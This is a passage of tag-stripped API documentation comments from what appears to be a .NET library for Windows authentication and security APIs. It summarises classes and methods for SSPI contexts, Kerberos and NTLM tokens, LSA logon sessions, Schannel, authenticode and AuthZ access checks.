Verify a signature for this context. + + The message to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Verify a signature for this context. + + The messages to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Encrypt a message for this context. + + The message to encrypt. + Quality of protection flags. + The encrypted message. + The sequence number. + + + + Encrypt a message for this context. + + The messages to encrypt. + Quality of protection flags. + The signature for the messages. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + The sequence number. + + + + Encrypt a message for this context with no specific signature. + + The messages to encrypt. + Quality of protection flags. + The sequence number. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + If you need to return a signature then it must be specified in a buffer. + + + + Decrypt a message for this context. + + The message to decrypt. + The sequence number. + The decrypted message. + + + + Decrypt a message for this context. + + The messages to decrypt. + The sequence number. + The signature for the messages. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + + + + Decrypt a message for this context. + + The messages to decrypt. + The sequence number. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + If you need to specify a signature you need to add a buffer. + + + + Query the context's package info. + + The authentication package info, + + + + Export and delete the current security context. + + The exported security context. + The security context will not longer be usable afterwards. + + + + Dispose the client context. + + + + + Finalizer. + + + + + Class to represent a credential handle. + + + + + Name of the authentication package used. + + + + + Expiry of the credentials. + + + + + Constructor. + + User principal. + The package name. + Optional authentication ID for the user. + Credential user flags. + Optional authentication data. + + + + Create a new credential handle. + + User principal. + The package name. + Optional authentication ID for the user. + Credential user flags. + Optional credentials. + The credential handle. + + + + Create a new credential handle. + + The package name. + Optional authentication ID for the user. + Credential user flags. + Optional credentials. + The credential handle. + + + + Create a new credential handle. + + The package name. + Credential user flags. + Optional credentials. + The credential handle. + + + + Create a new credential handle. + + The package name. + Credential user flags. + The credential handle. + + + + Dispose. + + + + + Finalizer. + + + + + Credentials for the CredSSP package. + + This is only needed if you must have both schannel and user credentials. Otherwise use UserCredentials or SchannelCredentials. + + + + Constructor. + + The credentials for the Schannel connection. + The credentials for the user. + + + + Constructor. + + The credentials for the user. + + + + Authentication token for a digest token. + + + + + The digest token as a string. + + + + + Format the authentication token. + + + + + + An encrypted message. + + + + + The encrypted message. + + + + + The signature for the message. + + + + + Constructor. + + The encrypted message. + The signature for the message. + + + + Class to represent an exported security context. + + + + + The name of the package for this security context. + + + + + The serialized context. + + + + + The context's token. + + + + + Dispose the exported context. + + + + + A class which represents an GSS-API Token. + + + + + Interface for authentication contexts. + + + + + The current authentication token. + + + + + Whether the authentication is done. + + + + + Expiry of the authentication. + + + + + Session key for the context. + + + + + Make a signature for this context. + + The message to sign. + The sequence number. + The signature blob. + + + + Verify a signature for this context. + + The message to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Make a signature for this context. + + The message buffers to sign. + The sequence number. + The signature blob. + + + + Verify a signature for this context. + + The messages to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Encrypt a message for this context. + + The message to encrypt. + Quality of protection flags. + The encrypted message. + The sequence number. + + + + Encrypt a message for this context. + + The messages to encrypt. + Quality of protection flags. + The signature for the messages. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + The sequence number. + + + + Encrypt a message for this context with no specific signature. + + The messages to encrypt. + Quality of protection flags. + The sequence number. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + If you need to return a signature then it must be specified in a buffer. + + + + Decrypt a message for this context. + + The message to decrypt. + The sequence number. + The decrypted message. + + + + Decrypt a message for this context. + + The messages to decrypt. + The signature for the messages. + The sequence number. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + + + + Decrypt a message for this context. + + The messages to decrypt. + The sequence number. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + If you need to specify a signature you need to add a buffer. + + + + Export and delete the current security context. + + The exported security context. + The security context will not longer be usable afterwards. + + + + Query the context's package info. + + The authentication package info, + + + + Get the name of the authentication package. + + + + + Continue the authentication with the token. + + The token to continue authentication. + + + + Continue the authentication.. + + The token to continue authentication. + Additional input buffers for the continue, does not need to include the token. + + + + Continue the authentication. + + The token to continue authentication. + Additional input buffers for the continue, does not need to include the token. + Specify additional output buffers, does not need to include the token. + + + + Continue the authentication. + + Additional input buffers for the continue. Does not contain a token. + Specify additional output buffers, does not need to include the token. + This sends the input buffers directly to the initialize call, it does not contain any token. + + + + Continue the authentication. Will not pass any buffers to the accept call. + + + + + Get the maximum signature size of this context. + + + + + Get the size of the security trailer for this context. + + + + + Interface for a client authentication context. + + + + + Get the last token status for the client context. + + + + + Placeholder interface for a server authentication context. + + + + + Utilities for building Kerberos structures. + + + + + Class to represent a Kerberos AP Reply. + + + + + Encrypted mutual authentication data. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + Encrypted part for AP-REP messages. + + + + + Client uS. + + + + + Client time. + + + + + Subkey. + + + + + Sequence number. + + + + + Options for AP Request + + + + + None. + + + + + Use Session Key. + + + + + Mutual authentication required. + + + + + Class to represent a Kerberos AP Request. + + + + + AP Request Options. + + + + + The Kerberos Ticket. + + + + + Authenticator data. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + A single kerberos key. + + + + + The Key encryption type. + + + + + The key. + + + + + The key name type. + + + + + The Realm for the key. + + + + + The name components for the key. + + + + + Principal name as a string. + + + + + Timestamp when key was created. + + + + + Key Version Number (KVNO). + + + + + Constructor. + + The Key encryption type. + The key. + The key name type. + The Realm for the key. + The name components for the key. + Timestamp when key was created. + Key Version Number (KVNO). + + + + Constructor. + + The Key encryption type. + The key. + The key name type. + The Realm for the key. + The name components for the key. + Timestamp when key was created. + Key Version Number (KVNO). + + + + Constructor. + + The Key encryption type. + The key. + The key name type. + Principal for key, in form TYPE/name@realm. + Timestamp when key was created. + Key Version Number (KVNO). + + + + Constructor. + + The Key encryption type. + The key as a hex string. + The key name type. + Principal for key, in form TYPE/name@realm. + Timestamp when key was created. + Key Version Number (KVNO). + + + + Derive a key from a password. + + Not all encryption types are supported. + The key encryption to use. + The password to derice from. + Iterations for the password derivation. + The key name type. + Principal for key, in form TYPE/name@realm. + Salt for the key. + Key Version Number (KVNO). + + + + + Authentication Token for Kerberos. + + + + + Protocol version. + + + + + Message type. + + + + + Parse bytes into a kerberos token. + + The kerberos token in bytes. + The Kerberos token. + + + + Try and parse data into an Kerberos authentication token. + + The data to parse. + The Kerberos authentication token. + True if this is a token from a client. + The token count number. + True if parsed successfully. + + + + Class to represent an unencrypted kerberos authenticator. + + + + + Authenticator version. + + + + + Client realm. + + + + + Client name. + + + + + Checksum value. + + + + + Client uS. + + + + + Client time. + + + + + Subkey. + + + + + Sequence number. + + + + + Authorization data. + + + + + Type of Authorization Data. + + + + + Class representing Kerberos authentication data. + + + + + Type of authentication data. + + + + + Data bytes. + + + + + Flags for the AD-AUTH-DATA-AP-OPTIONS authorization data. + + + + + Class to represent the AD-AUTH-DATA-AP-OPTIONS authorization data. + + + + + Flags for the AD-AUTH-DATA-AP-OPTIONS authorization data. + + + + + Class to represent AD_ETYPE_NEGOTIATION type. + + + + + List of supported encryption types. + + + + + Class to represent a KERB_LOCAL authorization data value. + + + + + The security context identifier for the KERB_LOCAL value. + + + + + Class to represent AD_WIN2K_PAC type. + + + + + List of PAC entries. + + + + + Source of a set of claims. + + + + + From Active Directory. + + + + + From a certificate. + + + + + A single claim set. + + + + + The source of the claims array. + + + + + The list of claim attributes. + + + + + Class representing a Claims Set in the PAC. + + + + + List of claims arrays. + + + + + Class to represent PAC Client Info. + + + + + Client ID. + + + + + Name of client. + + + + + Class to represent PAC Device Info. + + + + + Sid of the Device. + + + + + Primary group SID. + + + + + List of account groups. + + + + + List of extra SIDs. + + + + + List of domain groups. + + + + + Type for the PAC Entry. + + + + + Single PAC Entry. + + + + + Type of PAC entry. + + + + + The PAC data. + + + + + User account control flags. + + + + + User flags for kerberos authentication. + + + + + Class to represent PAC Logon Information. + + + + + Logon time. + + + + + Logoff time. + + + + + Kick off time. + + + + + Time password last set. + + + + + Time password can change. + + + + + Time password must change. + + + + + Effective name. + + + + + Full name. + + + + + Logon script path. + + + + + Profile path. + + + + + Home directory path. + + + + + Home directory drive. + + + + + Logon count. + + + + + Bad password count. + + + + + User SID. + + + + + Primary group SID. + + + + + Group list. + + + + + User flags. + + + + + User session key. + + + + + Logon server name. + + + + + Logon domain name. + + + + + Logon domain sid. + + + + + Extra SIDs. + + + + + User account control flags. + + + + + Resource domain group SID. + + + + + Resource groups. + + + + + Class to represent a PAC signature. + + + + + Signature type. + + + + + Signature. + + + + + Read-only Domain Controller Identifier. + + + + + Flags for the UPN_DNS_INFO. + + + + + No flags. + + + + + The user has no UPN. + + + + + Class to represent UPN_DNS_INFO. + + + + + Flags. + + + + + The User Principal Name. + + + + + The DNS Domain Name. + + + + + Flags for KerberosAuthorizationDataRestrictionEntry + + + + + Full UAC token. + + + + + Limited UAC token. + + + + + Class to represent the KERB_AD_RESTRICTION_ENTRY AD type. + + + + + Flags. + + + + + Token IL. + + + + + Machine ID. + + + + + Class to represent the AD-AUTH-DATA-TARGET-NAME authorization data. + + + + + The target name. + + + + + Class to represent a Kerberos Checksum. + + + + + Type of kerberos checksum. + + + + + The checksum value. + + + + + Flags for GSSAPI Checksum. + + + + + A kerberos checksum in GSS API Format. + + + + + Channel binding hash. + + + + + Flags for checksum. + + + + + Delegation option identifier. + + + + + KRB_CRED structure when in delegation. + + + + + Additional extension data. + + + + + Kerberos Checksum Type. + + + + + Class representing a KRB-CRED structure. + + + + + List of tickets in this credential. + + + + + Encrypted part contains sesssion keys etc. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + Class to represent Kerberos Encrypted Data. + + + + + Encryption type for the CipherText. + + + + + Key version number. + + + + + Cipher Text. + + + + + Kerberos Encryption Type. + + + + + Class to represent a Kerberos Error. + + + + + Client time. + + + + + Client micro-seconds. + + + + + Server time. + + + + + Server micro-seconds. + + + + + Error code. + + + + + Client realm. + + + + + Client name. + + + + + Server realm. + + + + + Server name, + + + + + Error text. + + + + + Error data. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Create a new KRB-ERROR authentication token. + + Optional client time. + Server time. + Error code. + Optional client realm. + Optional client name. + Server realm + Server name. + Optional error text. + Optional error data. + The KRB-ERROR authentication token. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + Kerberos Error Type. + + + + + Class to represent a cached external ticket. + + + + + Service name. + + + + + Target name. + + + + + Client name. + + + + + Domain name. + + + + + Target domain name. + + + + + Alt target domain name. + + + + + Session key for ticket. + + + + + Ticket flags. + + + + + Additional reserved flags. + + + + + Key expiration time. + + + + + Ticket start time. + + + + + Ticket end time. + + + + + Ticket renew time. + + + + + Time skew. + + + + + Ticket. + + + + + Type of Kerberos Host Address. + + + + + Class representing a Kerberos Host Address. + + + + + Type of host address. + + + + + Address bytes. + + + + + ToString Method. + + The formatted string. + + + + A set of Kerberos Keys. + + + + + Get keys which match the encryption type. + + The encryption type. + The list of keys which match the encryption type. + + + + Add a key to the key set. + + The key to add. + True if the key was added, false if the key already existed. + + + + Remove a key from the key set. + + The key to remove. + True if the key was removed. + + + + Find a key based on various parameters. + + The encryption type. + The name type. + The principal. + The key version. + + + + + Read keys from a MIT KeyTab file. + + The file stream. + The key set. + Throw if invalid file. + + + + Read keys from a MIT KeyTab file. + + The file path. + The key set. + Throw if invalid file. + + + + Constructor. + + + + + Constructor. + + The single kerberos key. + + + + Constructor. + + A list of kerberos keys. + + + + Key usage for kernel encryption. + + + + + Kerberos Message Type. + + + + + Kerberos Name Type. + + + + + Kerberos Pre-Authentication Data Types. + + + + + A Kerberos Principal Name. + + + + + The name type. + + + + + The names for the principal. + + + + + Full name. + + + + + ToString method. + + String of the object. + + + + Get principal name with a realm. + + The realm for the principal. + The principal. + + + + Constructor. + + The type of the principal name. + The list of names for the principal. + + + + Class to represent a User to User TGT Reply. + + + + + The Kerberos Ticket. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Create a new TGT-REP authentication token. + + The TGT ticket to embed in the token. + The + + + + Create a new TGT-REP authentication token. + + The TGT ticket to embed in the token. + The + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + Class to represent a User to User TGT Request. + + + + + Realm. + + + + + Server name. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Create a new TGT-REQ authentication token. + + Optional realm string. + Optional server name. + The new TGT-REQ authentication token. + + + + Create a new TGT-REQ authentication token without the GSS-API wrapper. + + Optional realm string. + Optional server name. + The new TGT-REQ authentication token. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + Class to represent a Kerberos ticket. + + + + + Version number for the ticket. + + + + + Realm. + + + + + Server name. + + + + + Encrypted data for the ticket. + + + + + Get the principal for the ticket. + + + + + Indicates that the ticket has been decrypted. + + + + + Decrypt the kerberos ticket. + + The Kerberos key set containing the keys. + The key usage for the decryption. + The decrypted kerberos ticket. + + + + Format the ticket to a string. + + The ticket as a string. + + + + Convert the ticket to an array. + + The ticket as an array. + + + + Class to query the Kerberos Ticket Cache from LSASS. + + + + + Get a Kerberos Ticket. + + The target service for the Ticket. + True to only query for cached tickets. + True to throw on error. + The Kerberos Ticket. + + + + Get a Kerberos Ticket. + + The target service for the Ticket. + True to only query for cached tickets. + The Kerberos Ticket. + + + + Get a Kerberos Ticket. + + The target service for the Ticket. + The Kerberos Ticket. + + + + Query Kerberos Ticket cache. + + The Logon Session ID to query. + True to throw on error. + The list of cached tickets. + + + + Query Kerberos Ticket cache. + + The Logon Session ID to query. + The list of cached tickets. + + + + Query Kerberos Ticket cache for the current logon session. + + The list of cached tickets. + + + + Flags for a Kerberos Ticket. + + + + + Class to represent a Decrypted Kerberos ticket. + + + + + Ticket flags. + + + + + Client Realm. + + + + + Client name. + + + + + Authentication time, + + + + + Start time. + + + + + End time. + + + + + Renew till time. + + + + + The kerberos session key. + + + + + The ticket transited type information. + + + + + List of host addresses for ticket. + + + + + List of authorization data. + + + + + The supported transited encoding types. + + + + + None. + + + + + X.500 Compress. + + + + + Class to represent a Kerberos Transiting Encoding. + + + + + Transited encoding type. + + + + + Transited encoding data. + + + + + Utilities for Kerberos authentication. + + + + + Read keys from a MIT KeyTab file. + + The file stream. + The list of keys. + Throw if invalid file. + + + + Read keys from a MIT KeyTab file. + + The file path. + The list of keys. + Throw if invalid file. + + + + Write keys to a MIT KeyTab file. + + The file stream. + List of key entries. + + + + Write keys to a MIT KeyTab file. + + The file path. + List of key entries. + + + + Generate an MIT KeyTab file. + + List of key entries. + The keytab file as bytes. + + + + Class to represent a Local Logon Session. + + + + + Logon/Authentication ID for session. + + + + + Username. + + + + + Logon domain. + + + + + Get the FQ User Name. + + + + + Authentication package. + + + + + Logon type. + + + + + Session ID. + + + + + User SID. + + + + + Logon Time. + + + + + Logon Server. + + + + + DNS Domain Name. + + + + + User Principal Name. + + + + + User Flags. + + + + + Last successful logon. + + + + + Last failed logon. + + + + + Count of failed logon attempts. + + + + + Logon script path. + + + + + Profile path. + + + + + Home directory. + + + + + Home directory drive. + + + + + Logoff time. + + + + + Kickoff Time. + + + + + Time password last set. + + + + + Password can change. + + + + + Password must change. + + + + + Get a logon session. + + The logon session ID. + True to thrown on error. + The logon session. + + + + Get the logon session LUIDs + + True throw on error. + The list of logon sessions. Only returns ones you can access. + + + + Get the logon sessions. + + True throw on error. + The list of logon sessions. Only returns ones you can access. + + + + Class to represent an LSA logon handle. + + + + + Connect to the LSA untrusted. + + True to throw on error. + The LSA logon handle. + + + + Connect to the LSA untrusted. + + The LSA logon handle. + + + + Connect to LSA and register as a logon process. + + The arbitrary name of the process. + True to throw on error. + The LSA logon handle. + + + + Connect to LSA and register as a logon process. + + The arbitrary name of the process. + The LSA logon handle. + + + + Logon a user. + + The type of logon. + The authentication package to use. + The name of the origin. + The token source context. + The authentication credentials buffer. + Additional local groups. + True to throw on error. + The LSA logon result. + + + + Logon a user. + + The type of logon. + The authentication package to use. + The name of the origin. + The token source context. + The authentication credentials buffer. + Additional local groups. + The LSA logon result. + + + + Dispose of the LSA logon handle. + + + + + Result from an LsaLogonUser call. + + + + + The user's token. + + + + + The user's profile information. Format depends on the authentication package. + + + + + The authentication ID of the logon session. + + + + + Paged pool quota. + + + + + Non paged pool quota. + + + + + Minimum working set size. + + + + + Maximum working set size. + + + + + Page file limit. + + + + + Process time limit. + + + + + Dispose the LSA logon result. + + + + + SPNEGO Authentication Token. + + + + + The negotiated authentication token. + + + + + Optional message integrity code. + + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Format the authentication token. + + The token as a formatted string. + + + + Parse bytes into a negotiate token. + + The negotiate token in bytes. + The Negotiate token. + + + + Try and parse data into an Negotiate authentication token. + + The data to parse. + The Negotiate authentication token. + True if this is a token from a client. + The token count number. + True if parsed successfully. + + + + Flags for negotiation context. + + + + + Class to represent the negTokenInit message in SPNEGO. + + + + + List of supported negotiation mechanisms. + + + + + Context flags. + + + + + State of the Negotiate state. + + + + + Negotiate completed. + + + + + Negotiate incomplete. + + + + + Negotiate rejected. + + + + + Request Message Integrity Code. + + + + + Class to represent the negTokenResp message in SPNEGO. + + + + + Supported mechanism for the token, optional. + + + + + Current state of the negotiation. + + + + + Class to represent an NTLM AUTHENTICATE token for NTLMv1. + + + + + Domain name. + + + + + Workstation name. + + + + + Username. + + + + + NTLM version. + + + + + Encrypted session key. + + + + + LM Challenge Response. + + + + + LM Challenge Response. + + + + + Message integrity code. + + + + + Message integrity code offset into the token data. + + + + + Format the authentication token. + + The formatted token. + + + + Class to represent an NTLM AUTHENTICATE token for NTLMv2. + + + + + NT Proof Response. + + + + + Challenge version. + + + + + Maximum challenge version. + + + + + Reserved field. + + + + + Reserved field. + + + + + Timestamp. + + + + + Client challenge. + + + + + Reserved field. + + + + + NTLM Target Information. + + + + + Flags for NTLM negotiation. + + + + + NTLM message type. + + + + + Base class to represent an NTLM authentication token. + + + + + Type of NTLM message. + + + + + NTLM negotitation flags. + + + + + Try and parse data into an NTLM authentication token. + + The data to parse. + The NTLM authentication token. + True if this is a token from a client. + The token count number. + True if parsed successfully. + + + + Try and parse data into an NTLM authentication token. + + The data to parse. + The NTLM authentication token. + + + + The type of the AV_PAIR. + + + + + MS AV Flags. + + + + + An NTLM AV_PAIR. + + + + + The type of the AV Pair value. + + + + + An NTLM AV_PAIR with a string value. + + + + + The string value. + + + + + ToString method. + + Pair as a string. + + + + An NTLM AV_PAIR with a timestamp value; + + + + + The timestamp value. + + + + + ToString method. + + Pair as a string. + + + + An NTLM AV_PAIR with a bytes value. + + + + + The value. + + + + + ToString method. + + Pair as a string. + + + + An NTLM AV_PAIR with a flags value. + + + + + The value. + + + + + ToString method. + + Pair as a string. + + + + An NTLM AV_PAIR with a flags value. + + + + + The the Z4 data. + + + + + Custom data blob. + + + + + Machine ID. + + + + + ToString method. + + Pair as a string. + + + + Class to represent an NTLM CHALLENGE token. + + + + + Target name. + + + + + Server challenge. + + + + + Reserved. + + + + + NTLM version. + + + + + NTLM Target Information. + + + + + Format the authentication token. + + The formatted token. + + + + Class to represent an NTLM NEGOTIATE token. + + + + + Domain name. + + + + + Workstation name. + + + + + NTLM version. + + + + + Format the authentication token. + + The formatted token. + + + + Algorithm identifiers for the crypto APIs and Schannel. + + + + + Authentication token for Schannel and CredSSP. + + This is a simple parser for the TLS record format. + + + + List of TLS records. + + + + + Format the authentication token. + + The token as a formatted string. + + + + Try and parse data into an SChannel authentication token. + + The data to parse. + The SChannel authentication token. + True if this is a token from a client. + The token count number. + True if parsed successfully. + + + + Negotiated connection information for Schannel. + + + + + The protocol used by Schannel. + + + + + The negotitated cipher algorithm. + + + + + The negotiated cipher strength in bits. + + + + + The negotiated hash algorithm. + + + + + The negotiated hash string. + + + + + The negotiated key exchange algorithm. + + + + + The negotiated key exchange strength. + + + + + Credentials for the Schannel package. + + + + + Lifespan of a session in milliseconds. + + + + + Specify flags for credentials. + + + + + Specify the supported protocols. + + + + + Set the minimum cipher strength. + + + + + Set the maximum cipher strength. + + + + + Add a certificate the the credentials. This should contain a private key. + + The certificate to add. + + + + Add an algorithm type to the credentials. + + The algorithm type. + + + + Dispose the credentials. + + + + + Flags for the Schannel credentials. + + + + + Protocol type for Schannel. + + + + + Flags for message encryption. + + + + + None. + + + + + Wrap out of bound data. + + + + + Wrap but don't encrypt. + + + + + Class to represent a server authentication context. + + + + + The current authentication token. + + + + + Whether the authentication is done. + + + + + Current request attributes. + + + + + Current data representation. + + + + + Current channel bindings. + + + + + Current return attributes. + + + + + Current status flags. + + + + + Expiry of the authentication. + + + + + Get the client name supplied by the Client. + + + + + Get the Session Key for this context. + + + + + Get the maximum signature size of this context. + + + + + Get the size of the security trailer for this context. + + + + + Size of any header when using a stream protocol such as Schannel. + + + + + Size of any trailer when using a stream protocol such as Schannel. + + + + + Number of buffers needed when using a stream protocol such as Schannel. + + + + + Maximum message size when using a stream protocol such as Schannel. + + + + + Preferred block size when using a stream protocol such as Schannel. + + + + + Get the name of the authentication package. + + + + + Get connection information for the schannel connection. + + + + + Get the local certificate. Only used for Schannel related authentication. + + + + + Get the remote certificate. Only used for Schannel related authentication. + + + + + Get whether the authentication context is for loopback. + + + + + Get or set whether the context owns the credentials object or not. If true + then the credentials are disposed with the context. + + + + + Get an access token for the authenticated user. + + The user's access token. + + + + Impersonate the security context. + + The disposable context to revert the impersonation. + + + + Continue the authentication with the client token. + + The client token to continue authentication. + + + + Continue the authentication.. + + The client token to continue authentication. + Specify additional input buffers, does not need to include the token. + + + + Continue the authentication. + + The client token to continue authentication. + Specify additional input buffers, does not need to include the token. + Specify additional output buffers, does not need to include the token. + + + + Continue the authentication. + + Additional input buffers for the continue. Does not contain a token. + Specify additional output buffers, does not need to include the token. + True to throw on error. + This sends the input buffers directly to the initialize call, it does not contain any token. + + + + Continue the authentication. + + Additional input buffers for the continue. Does not contain a token. + Specify additional output buffers, does not need to include the token. + This sends the input buffers directly to the initialize call, it does not contain any token. + + + + Continue the authentication. Will not pass any buffers to the accept call. + + + + + Make a signature for this context. + + The message buffers to sign. + The sequence number. + The signature blob. + + + + Make a signature for this context. + + The message to sign. + The sequence number. + The signature blob. + + + + Verify a signature for this context. + + The message to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Verify a signature for this context. + + The messages to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Encrypt a message for this context. + + The message to encrypt. + Quality of protection flags. + The encrypted message. + The sequence number. + + + + Encrypt a message for this context. + + The messages to encrypt. + Quality of protection flags. + The signature for the messages. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + The sequence number. + + + + Encrypt a message for this context with no specific signature. + + The messages to encrypt. + Quality of protection flags. + The sequence number. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + If you need to return a signature then it must be specified in a buffer. + + + + Decrypt a message for this context. + + The messages to decrypt. + The sequence number. + The signature for the messages. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + + + + Decrypt a message for this context. + + The messages to decrypt. + The sequence number. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + If you need to specify a signature you need to add a buffer. + + + + Decrypt a message for this context. + + The message to decrypt. + The sequence number. + The decrypted message. + + + + Query the context's package info. + + The authentication package info, + + + + Export and delete the current security context. + + The exported security context. + The security context will not longer be usable afterwards. + + + + Constructor. + + Credential handle. + Request attribute flags. + Optional channel binding token. + Data representation. + + + + Constructor. + + Credential handle. + Request attribute flags. + Data representation. + + + + Constructor. + + Credential handle. + + + + Dispose the client context. + + + + + Finalizer. + + + + + Class to represent a service principal name. + + + + + SPN service class. + + + + + SPN service name. + + + + + SPN instance name. + + + + + SPN instance port. + + + + + SPN referrer. + + + + + Constructor. + + The service class name. + The name of the instance. + + + + Parse an SPN string to a class. + + The SPN string. + The parsed class. + Thrown in invalid SPN. + + + + Try and parse an SPN string to a class. + + The SPN string. + The result class. + True if the SPN was parsed successfully. + Thrown in invalid SPN. + + + + Convert SPN to a string. + + The SPN string. + + + + Class to hold user credentials. + + + + + The user name. + + + + + The domain. + + + + + The password as a secure string. + + + + + Constructor. + + Username. + Domain name. + Password. + + + + Set the password as in plain text. + + The password in plain text. + + + + Constructor. + + Username. + Domain name. + Password. + + + + Constructor. + + Username. + Domain name. + + + + Constructor. + + Username. + + + + Constructor. + + + + + Dispose method. + + + + + Class to represent a single authenticode certificate entry. + + + + + The list of certificates in the entry. + + + + + Whethe the entry contains page hashes. + + + + + Utilities for authenticode. + + + + + Get certificates from a PE file. + + The PE file. + True the throw on error. + The list of authenticode certificate entries. + + + + Get certificates from a PE file. + + The path to the PE file. + True the throw on error. + The list of authenticode certificate entries. + + + + Get certificates from a PE file. + + The path to the PE file, native path format. + The list of authenticode certificate entries. + + + + Gets wether the PE file has page hash entries. + + The path to the PE file, native path format. + True if the file contains page hashes. + + + + Query ELAM information from a driver's resource section. + + The path to the file. + True to throw on error. + The ELAM information if present. + + + + Query ELAM information from a driver's resource section. + + The path to the file. + The ELAM information if present. + + + + Get the VSM enclave configuration. + + The path to the file. + True to throw on error. + The VSM enclave configuration. + + + + Get the VSM enclave configuration. + + The path to the file. + The VSM enclave configuration. + + + + ELAM information. + + + + + The hash of the certificate. + + + + + The hash algorithm. + + + + + List of optional EKUs. + + + + + Overridden ToString method. + + The ELAM information as a string. + + + + Class to represent a VSM enclave configuration. + + + + + Minimum required configuration size. + + + + + Policy flags. + + + + + List of enclave imports. + + + + + Family ID. + + + + + Image ID. + + + + + Image version. + + + + + Security version. + + + + + Size of the enclave. + + + + + Number of threads for the enclave. + + + + + Enclave flags. + + + + + Is the enclave debuggable. + + + + + Is this a primary image. + + + + + Path to the image file. + + + + + Name of the image file. + + + + + ToString method. + + The object as a string. + + + + Class to represent an enclave import. + + + + + Match type for the import. + + + + + Minimum security version. + + + + + Unique or author ID. + + + + + Family ID. + + + + + Image ID. + + + + + Import name. + + + + + ToString method. + + The name of the import. + + + + Image policy entry. + + + + + Type of entry. + + + + + Policy ID. + + + + + Value of entry. + + + + + Image policy ID. + + + + + Class to represnt image policy metadata. + + + + + Version of the metadata. + + + + + The ID of the trustlet. + + + + + The optional policies for the trustlet. + + + + + Overridden ToString method. + + The object as a string. + + + + Extract image policy metadata from an image file. + + The path to the image file. Should be a win32 path. + True to throw on error. + The image policy metadata. + + + + Extract image policy metadata from an image file. + + The path to the image file. Should be a win32 path. + The image policy metadata. + + + + Access check result from AuthZ. + + + + + The Win32 error code from the access check. + + + + + Class to represent an AuthZ client context. + + + + + Get AuthZ user + + + + + Get AuthZ context groups. + + + + + Get AuthZ context restricted SIDs. + + + + + Get AuthZ context device groups. + + + + + Get AuthZ context capability SIDs. + + + + + Get AuthZ context's security attributes + + + + + Get AuthZ context's device claims. + + + + + Get AuthZ context's user claims. + + + + + Get list of privileges for the AuthZ context. + + The list of privileges + Thrown if can't query privileges + + + + Get AppContainer SID. + + + + + Indicates if this context is connected to a remote access server. + + + + + Set AppContainer Information to Context. + + The package SID. + List of capabilities. + True to throw on error + The NT status code. + + + + Set AppContainer Information to Context. + + The package SID. + List of capabilities. + + + + Modify groups in the context. + + The type of group to modify. + The list of groups to modify. + The list of operations. Should be same size of group list. + True to throw on error. + The NT status code. + + + + Modify groups in the context. + + The type of group to modify. + The list of groups to modify. + The list of operations. Should be same size of group list. + + + + Modify groups in the context. + + The type of group to modify. + The list of SIDs to modify. + The attributes for the SIDs. + The operation for the SIDs. + + + + Modify groups in the context. + + The type of group to modify. + The list of SIDs to modify. + The operation for the SIDs. + + + + Add a SID to the context. + + The SID to add. + + + + Add a Device SID to the context. + + The SID to add. + + + + Add a Device SID to the context. + + The SID to add. + + + + Add a list of SIDs to the context. + + The list of SIDS. + + + + Get list of groups for the AuthZ context. + + The group type. + True to throw on error. + The list of groups. + + + + Get list of groups for the AuthZ context. + + The group type. + The list of groups. + + + + Get the user from the AuthZ context. + + True to throw on error. + The user group information. + + + + Get the AppContainer SID from the AuthZ context. + + True to throw on error. + The AppContainer SID. + + + + Get AuthZ context's security attributes + + Specify the type of security attributes to query. + Throw on error. + The security attributes. + + + + Get token privileges. + + True to throw on error. + The list of privileges. + + + + Perform an Access Check. + + The security descriptor for the check. + Optional list of security descriptors to merge. + The desired access. + Optional Principal SID. + Optional list of object types. + NT Type for access checking. + True to throw on error. + The list of access check results. + The list of object types is restricted to 256 entries for remote access checks. + + + + Perform an Access Check. + + The security descriptor for the check. + Optional list of security descriptors to merge. + The desired access. + Optional Principal SID. + Optional list of object types. + NT Type for access checking. + The list of access check results. + The list of object types is restricted to 256 entries for 